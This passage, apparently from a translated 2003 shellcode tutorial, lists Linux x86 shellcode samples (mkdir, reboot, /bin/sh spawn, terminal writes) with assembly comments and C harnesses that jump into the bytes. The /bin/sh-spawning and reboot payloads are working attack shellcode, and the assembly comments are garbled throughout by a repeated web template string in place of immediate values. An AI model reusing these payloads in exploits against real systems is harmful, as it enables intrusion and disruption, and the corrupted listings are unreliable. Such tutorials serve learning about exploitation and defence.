[http://www.govannom.org/seguridad/buf_overf/sc_howto.txt]}x80 */ char shellcode[] = "\x31\xc0\x50\x68\x31\x33\x33\x37" "\xb1\x04\x89\xe3\xb0\x4a\xcd\x80" "\x31\xdb\x89\xd8\x40\xcd\x80"; int main(void) { int * ret; ret = (int *)&ret + 2; (*ret) = (int)shellcode; } ------------------------------------------------------------------------ mkdir.c ------------------------------------------------------------------------ /* author: the_swede * title: mkdir * description: creates a directory titled "1337". */ #include /* * xorl %eax, %eax * pushl %eax * pushl {jumi [*3] [http://www.govannom.org/seguridad/buf_overf/sc_howto.txt]}x37333331 * * movw {jumi [*3] [http://www.govannom.org/seguridad/buf_overf/sc_howto.txt]}x1ed, %cx * movl %esp, %ebx * movb {jumi [*3] [http://www.govannom.org/seguridad/buf_overf/sc_howto.txt]}x27, %al * int {jumi [*3] [http://www.govannom.org/seguridad/buf_overf/sc_howto.txt]}x80 * * xorl %ebx, %ebx * movl %ebx, %eax * incl %eax * int {jumi [*3] [http://www.govannom.org/seguridad/buf_overf/sc_howto.txt]}x80 */ char shellcode[] = "\x31\xc0\x50\x68\x31\x33\x33\x37" "\x66\xb9\xed\x01\x89\xe3\xb0\x27" "\xcd\x80\x31\xdb\x89\xd8\x40\xcd" "\x80"; int main(void) { int * ret; ret = (int *)&ret + 2; (*ret) = (int)shellcode; } ------------------------------------------------------------------------ reboot.c ------------------------------------------------------------------------ /* * Author: the_swede * Title: reboot * Date: 6/8/03 * Description: reboots Linux. */ #include /* * pushl {jumi [*3] [http://www.govannom.org/seguridad/buf_overf/sc_howto.txt]}xfee1dead * popl %ebx * pushl {jumi [*3] [http://www.govannom.org/seguridad/buf_overf/sc_howto.txt]}x16041998 * popl %ecx * pushl {jumi [*3] [http://www.govannom.org/seguridad/buf_overf/sc_howto.txt]}x1234567 * xorl %eax, %eax * popl %edx * movb {jumi [*3] [http://www.govannom.org/seguridad/buf_overf/sc_howto.txt]}x58, %al * int {jumi [*3] [http://www.govannom.org/seguridad/buf_overf/sc_howto.txt]}x80 * * xorl %ebx, %ebx * movl %ebx, %eax * incl %eax * int {jumi [*3] [http://www.govannom.org/seguridad/buf_overf/sc_howto.txt]}x80 */ char shellcode[] = "\x68\xad\xde\xe1\xfe\x5b\x68\x98" "\x19\x04\x16\x59\x68\x67\x45\x23" "\x01\x31\xc0\x5a\xb0\x58\xcd\x80" "\x31\xdb\x89\xd8\x40\xcd\x80"; int main(void) { int * ret; ret = (int *)&ret + 2; (*ret) = (int)shellcode; } ------------------------------------------------------------------------ shspawn.c ------------------------------------------------------------------------ /* * Title: shspawn * Author: the_swede * Date: 6/8/03 * Description: shellcode that spawns /bin/sh. */ #include /* * xorl %edx, %edx * pushl %edx * pushl {jumi [*3] [http://www.govannom.org/seguridad/buf_overf/sc_howto.txt]}x68732f2f * pushl {jumi [*3] [http://www.govannom.org/seguridad/buf_overf/sc_howto.txt]}x6e69622f * * movl %esp, %ebx * pushl %edx * pushl %ebx * movl %esp, %ecx * movb {jumi [*3] [http://www.govannom.org/seguridad/buf_overf/sc_howto.txt]}xb, %al * int {jumi [*3] [http://www.govannom.org/seguridad/buf_overf/sc_howto.txt]}x80 * * xorl %ebx, %ebx * movl %ebx, %eax * incl %eax * int {jumi [*3] [http://www.govannom.org/seguridad/buf_overf/sc_howto.txt]}x80 */ char shellcode[] = "\x31\xc0\x31\xdb\x31\xc9\x31\xd2" "\x52\x68\x2f\x2f\x73\x68\x68\x2f" "\x62\x69\x6e\x89\xe3\x52\x53\x89" "\xe1\xb0\x0b\xcd\x80\x31\xdb\x89" "\xd8\x40\xcd\x80"; int main(void) { int * ret; ret = (int *)&ret + 2; (*ret) = (int)shellcode; } ------------------------------------------------------------------------ vt.c ------------------------------------------------------------------------ /* author: the_swede * title: vt * description: writes "Hello World!" to /dev/tty1. */ #include /* * xorl %edx, %edx * xorl %ecx, %ecx * xorl %ebx, %ebx * * xorl %eax, %eax * pushl %eax * pushl {jumi [*3] [http://www.govannom.org/seguridad/buf_overf/sc_howto.txt]}x31 * pushl {jumi [*3] [http://www.govannom.org/seguridad/buf_overf/sc_howto.txt]}x79 * pushl {jumi [*3] [http://www.govannom.org/seguridad/buf_overf/sc_howto.txt]}x74742f2f * pushl {jumi [*3] [http://www.govannom.org/seguridad/buf_overf/sc_howto.txt]}x7665642f * * movb {jumi [*3] [http://www.govannom.org/seguridad/buf_overf/sc_howto.txt]}x2, %cl * movl %esp, %ebx * movb {jumi [*3] [http://www.govannom.org/seguridad/buf_overf/sc_howto.txt]}x5, %al * int {jumi [*3] [http://www.govannom.org/seguridad/buf_overf/sc_howto.txt]}x80 * * movl %eax, %ebx * * xorl %eax, %eax * pushl %eax * pushl {jumi [*3] [http://www.govannom.org/seguridad/buf_overf/sc_howto.txt]}x0a * pushl {jumi [*3] [http://www.govannom.org/seguridad/buf_overf/sc_howto.txt]}x21646c72 * pushl {jumi [*3] [http://www.govannom.org/seguridad/buf_overf/sc_howto.txt]}x6f57206f * pushl {jumi [*3] [http://www.govannom.org/seguridad/buf_overf/sc_howto.txt]}x6c6c6548 * * movb {jumi [*3] [http://www.govannom.org/seguridad/buf_overf/sc_howto.txt]}xd, %dl * movl %esp, %ecx * movb {jumi [*3] [http://www.govannom.org/seguridad/buf_overf/sc_howto.txt]}x4, %al * int {jumi [*3] [http://www.govannom.org/seguridad/buf_overf/sc_howto.txt]}x80 * * xorl %ebx, %ebx * movl %ebx, %eax * incl %eax * int {jumi [*3] [http://www.govannom.org/seguridad/buf_overf/sc_howto.txt]}x80 */ char shellcode[] = "\x31\xd2\x31\xc9\x31\xdb\x31\xc0" "\x50\x6a\x31\x6a\x79\x68\x2f\x2f" "\x74\x74\x68\x2f\x64\x65\x76\xb1" "\x02\x89\xe3\xb0\x05\xcd\x80\x89" "\xc3\x31\xc0\x50\x6a\x0a\x68\x72" "\x6c\x64\x21\x68\x6f\x20\x57\x6f" "\x68\x48\x65\x6c\x6c\xb2\x0d\x89" "\xe1\xb0\x04\xcd\x80\x31\xdb\x89" "\xd8\x40\xcd\x80"; int main(void) { int * ret; ret = (int *)&ret + 2; (*ret) = (int)shellcode; } ------------------------------------------------------------------------ write.c ------------------------------------------------------------------------ /* author: the_swede * title: write * description: writes "Hello World!" */ #include /* * xorl %edx, %edx * xorl %ecx, %ecx * * xorl %eax, %eax * pushl %eax * pushl {jumi [*3] [http://www.govannom.org/seguridad/buf_overf/sc_howto.txt]}x0a * pushl {jumi [*3] [http://www.govannom.org/seguridad/buf_overf/sc_howto.txt]}x21646c72 * pushl {jumi [*3] [http://www.govannom.org/seguridad/buf_overf/sc_howto.txt]}x6f57206f * pushl {jumi [*3] [http://www.govannom.org/seguridad/buf_overf/sc_howto.txt]}x6c6c6548 * * movb {jumi [*3] [http://www.govannom.org/seguridad/buf_overf/sc_howto.txt]}xd, %dl * movl %esp, %ecx * xorl %ebx, %ebx * movb {jumi [*3] [http://www.govannom.org/seguridad/buf_overf/sc_howto.txt]}x4, %al * int {jumi [*3] [http://www.govannom.org/seguridad/buf_overf/sc_howto.txt]}x80 * * xorl %ebx, %ebx * movl %ebx, %eax * incl %eax * int {jumi [*3] [http://www.govannom.org/seguridad/buf_overf/sc_howto.txt]}x80 */ char shellcode[] = "\x31\xd2\x31\xc9\x31\xc0\x50\x6a" "\x0a\x68\x72\x6c\x64\x21\x68\x6f" "\x20\x57\x6f\x68\x48\x65\x6c\x6c" "\xb2\x0d\x89\xe1\x31\xdb\xb0\x04" "\xcd\x80\x31\xdb\x89\xd8\x40\xcd" "\x80"; int main(void) { int * ret; ret = (int *)&ret + 2; (*ret) = (int)shellcode; } ------------------------------------------------------------------------ Thanks to mstevens, ph33r, and mikecc for putting up with my sensless questions. Thanks to the_one for looking over my article. -------------------------------------------------------------------------------- Nota del traductor: Este texto ha sido traducido para la web http://www.govannom.org Bueno, pues agradecer a the_swede por escribir este articulo con el que he aprendido muchisimo y a toda la gente que como el se dedica a escribir o traducir para que otra gente pueda aprender ;). (c) New Order / http://neworder.box.sk/